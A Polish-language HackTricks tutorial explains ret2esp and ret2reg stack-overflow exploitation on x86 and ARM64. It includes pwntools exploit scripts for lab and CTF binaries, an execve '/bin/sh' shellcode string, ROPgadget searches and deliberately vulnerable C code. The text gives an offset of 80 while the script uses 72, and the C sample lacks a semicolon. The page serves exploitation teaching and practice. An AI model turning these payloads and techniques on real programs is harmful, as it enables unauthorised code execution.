Ret2esp / Ret2reg
Reading time: 7 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Ret2esp
Ponieważ ESP (wskaźnik stosu) zawsze wskazuje na szczyt stosu, technika ta polega na zastąpieniu EIP (wskaźnik instrukcji) adresem instrukcji jmp esp
lub call esp
. Dzięki temu shellcode jest umieszczany tuż po nadpisanym EIP. Gdy instrukcja ret
jest wykonywana, ESP wskazuje na następny adres, dokładnie tam, gdzie przechowywany jest shellcode.
Jeśli Randomizacja układu przestrzeni adresowej (ASLR) nie jest włączona w systemie Windows lub Linux, możliwe jest użycie instrukcji jmp esp
lub call esp
znajdujących się w bibliotekach współdzielonych. Jednak przy aktywnym ASLR może być konieczne poszukiwanie tych instrukcji w samym podatnym programie (i może być konieczne pokonanie PIE).
Ponadto, możliwość umieszczenia shellcode po uszkodzeniu EIP, a nie w środku stosu, zapewnia, że wszelkie instrukcje push
lub pop
wykonywane podczas działania funkcji nie zakłócają shellcode. Taka interferencja mogłaby wystąpić, gdyby shellcode został umieszczony w środku stosu funkcji.
Brak miejsca
Jeśli brakuje Ci miejsca na zapis po nadpisaniu RIP (może tylko kilka bajtów), napisz początkowy shellcode jmp
jak:
sub rsp, 0x30
jmp rsp
I napisz shellcode na początku stosu.
Przykład
Możesz znaleźć przykład tej techniki w https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp z ostatecznym exploitem jak:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
Możesz zobaczyć inny przykład tej techniki w https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Istnieje przepełnienie bufora bez włączonego NX, użyto gadżetu do zmniejszenia adresu $esp
a następnie jmp esp;
aby skoczyć do shellcode:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
Podobnie, jeśli znamy funkcję, która zwraca adres, w którym przechowywany jest shellcode, możemy wykorzystać instrukcje call eax
lub jmp eax
(znane jako technika ret2eax), oferując inny sposób na wykonanie naszego shellcode. Tak jak eax, każdy inny rejestr zawierający interesujący adres mógłby być użyty (ret2reg).
Przykład
Możesz znaleźć kilka przykładów tutaj:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpy
zapisze weax
adres bufora, w którym przechowywany był shellcode, aeax
nie jest nadpisywany, więc możliwe jest użycieret2eax
.
ARM64
Ret2sp
W ARM64 nie ma instrukcji pozwalających na skok do rejestru SP. Może być możliwe znalezienie gadżetu, który przenosi sp do rejestru, a następnie skacze do tego rejestru, ale w libc mojej kali nie mogłem znaleźć żadnego gadżetu takiego jak ten:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
Jedynymi, które odkryłem, były te, które zmieniały wartość rejestru, do którego sp został skopiowany przed skokiem do niego (więc stałby się bezużyteczny):
Ret2reg
Jeśli rejestr ma interesujący adres, możliwe jest skoczenie do niego, znajdując odpowiednią instrukcję. Możesz użyć czegoś takiego:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
W ARM64 to x0
przechowuje wartość zwracaną przez funkcję, więc może się zdarzyć, że x0 przechowuje adres bufora kontrolowanego przez użytkownika z shellcode do wykonania.
Example code:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Sprawdzając disassembly funkcji, można zobaczyć, że adres do bufora (wrażliwy na bof i kontrolowany przez użytkownika) jest przechowywany w x0
przed powrotem z przepełnienia bufora:
Można również znaleźć gadżet br x0
w funkcji do_stuff
:
Użyjemy tego gadżetu, aby do niego skoczyć, ponieważ binarka jest kompilowana BEZ PIE. Używając wzoru, można zobaczyć, że offset przepełnienia bufora wynosi 80, więc exploit będzie:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
warning
Jeśli zamiast fgets
użyto by czegoś takiego jak read
, możliwe byłoby ominięcie PIE również przez tylko nadpisanie ostatnich 2 bajtów adresu powrotu, aby wrócić do instrukcji br x0;
bez potrzeby znajomości pełnego adresu.
Z fgets
to nie działa, ponieważ dodaje bajt null (0x00) na końcu.
Ochrony
- NX: Jeśli stos nie jest wykonywalny, to nie pomoże, ponieważ musimy umieścić shellcode w stosie i skoczyć, aby go wykonać.
- ASLR & PIE: Mogą utrudnić znalezienie instrukcji, do której można skoczyć do esp lub innego rejestru.
Odniesienia
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.